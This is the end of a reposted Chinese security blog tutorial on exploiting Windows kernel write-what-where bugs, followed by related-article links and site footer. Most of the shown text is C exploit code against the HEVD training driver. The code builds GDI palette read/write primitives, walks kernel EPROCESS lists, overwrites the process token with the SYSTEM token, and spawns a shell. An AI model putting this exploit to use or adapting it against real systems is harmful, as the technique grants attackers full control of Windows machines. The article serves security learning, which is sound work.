DWORD64 currentProcessID = GetCurrentProcessId(); printf("current Process id is %llX", currentProcessID); //DWORD64 currentProcessID = GetCurrentProcessId();
LPVOID lpNextEPROCESS = NULL; LPVOID lpCurrentPID = NULL; LPVOID lpCurrentToken = NULL; DWORD dwCurrentPID; do { lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2e8; readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpNextEPROCESS + 0x2e0), (BYTE*)&lpCurrentPID, sizeof(DWORD64)); dwCurrentPID = LOWORD(lpCurrentPID); printf("dwCurrentPID %llXn", dwCurrentPID); readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpNextEPROCESS + 0x2e8), (BYTE*)&lpNextEntryAddreess, sizeof(LIST_ENTRY)); } while (dwCurrentPID != currentProcessID); DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358; printf("[+]Start to write token"); writeOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, currentTokenAddress, (BYTE*)&lpSystemToken, sizeof(DWORD64)); printf(" ====> done! n");}


int main() {
init();//Load HEVD Driver and init exploit attack function
BOOL bFound = FindHMValidateHandle(); if (!bFound) { printf("Failed to locate HmValidateHandle, exitingn"); return 0; } printf("[+]Found location of HMValidateHandle in user32.dlln");
Manager_Palette = CreatePaletteInHole(); printf("create manager palette success!!!n"); if (!Manager_Palette) { printf("Make Manager Palette failure...n"); return 0; } //Int_3(); printf("[+]Manager Palette HPALETTE: 0x%p, Kernel Address: 0x%llxn", (PVOID)Manager_Palette->_hpalette, Manager_Palette->_kobj_palette); __debugbreak();
Worker_Palette = CreatePaletteInHole(); if (!Worker_Palette) { printf("Make Worker Palette failure...n"); return 0; } //Int_3(); printf("Worker Palette HPALETTE: 0x%p, Kernel Address: 0x%llxn", (PVOID)Worker_Palette->_hpalette, Worker_Palette->_kobj_palette);
WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)); if (!WriteWhatWhere) { printf("Failed To Allocate Memory: 0x%Xn", GetLastError()); exit(-1); } printf("Memory Allocated: 0x%pn", WriteWhatWhere);
DWORD64 pFirstColorOffset = 0x78; DWORD64 Manager_pFirstColor = Manager_Palette->_kobj_palette + pFirstColorOffset; DWORD64 Worker_pFirstColor = Worker_Palette->_kobj_palette + pFirstColorOffset; printf("Overwrite Manager Palette pFirstColor: 0x%pn", Manager_pFirstColor); printf("value is Worker Palette pFirstColor: 0x%pn", Worker_pFirstColor); WriteWhatWhere->What = (PULONG_PTR)&Worker_pFirstColor; WriteWhatWhere->Where = (PULONG_PTR)Manager_pFirstColor; printf("WriteWhatWhere->What %llX", WriteWhatWhere->What); printf("WriteWhatWhere->Where %llX", WriteWhatWhere->Where); DeviceIoControl(hDevice, 0x0022200B, (LPVOID)WriteWhatWhere, sizeof(WriteWhatWhere), NULL, 0, &BytesReturned, NULL);
stealToken(); CreateCmd(); system("pause"); return 0;}

最后可以看到提权成功:

【技术分享】从TH2到RS3看WWW漏洞的攻与防

 

0×7
总结

首先一点就是我在学习过程中经常碰到一些陌生的名词,让人很困扰。所以我在这篇文章里尽量少提相关的名词,并把它们关联起来。还有一点就是上一篇文章还是不够严谨,出现了一些错误,然后就是感到抱歉,过了这么久才回复指出我错误的师傅,最后,感谢指出我错误的师傅。

【技术分享】从TH2到RS3看WWW漏洞的攻与防

- 结尾 -
精彩推荐
【技术分享】NX实现机制浅析
【技术分享】app抓包的另一种姿势
【技术分享】RMI初探—Weblogic CVE-2017-3248反序列化漏洞
【技术分享】从TH2到RS3看WWW漏洞的攻与防
戳“阅读原文”查看更多内容

相关推荐: Category-969: SFP Secondary Cluster: Faulty Memory Release

Category-969: SFP Secondary Cluster: Faulty Memory Release ID: 969 Status: Incomplete Summary This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster. Membership ID NAME CWE-415 双重释放 CWE-590 释放并不在堆上的内存 CWE-761 释放一个不在缓冲区起始位置的指针 CWE-762 不匹配的内存管理例程 CWE-763 对无效指针或索引的释放 文章来源于互联网:scap中文网相关推荐: CWE-81 错误消息Web页面中脚本转义处理不恰当CWE-81 错误消息Web页面中脚本转义处理不恰当 Improper Neutralization of Script in an Error Message Web Page 结构: Simple Abstraction: Variant 状态: Inco…

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月7日10:42:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【技术分享】从TH2到RS3看WWW漏洞的攻与防 http://cn-sec.com/archives/581023.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: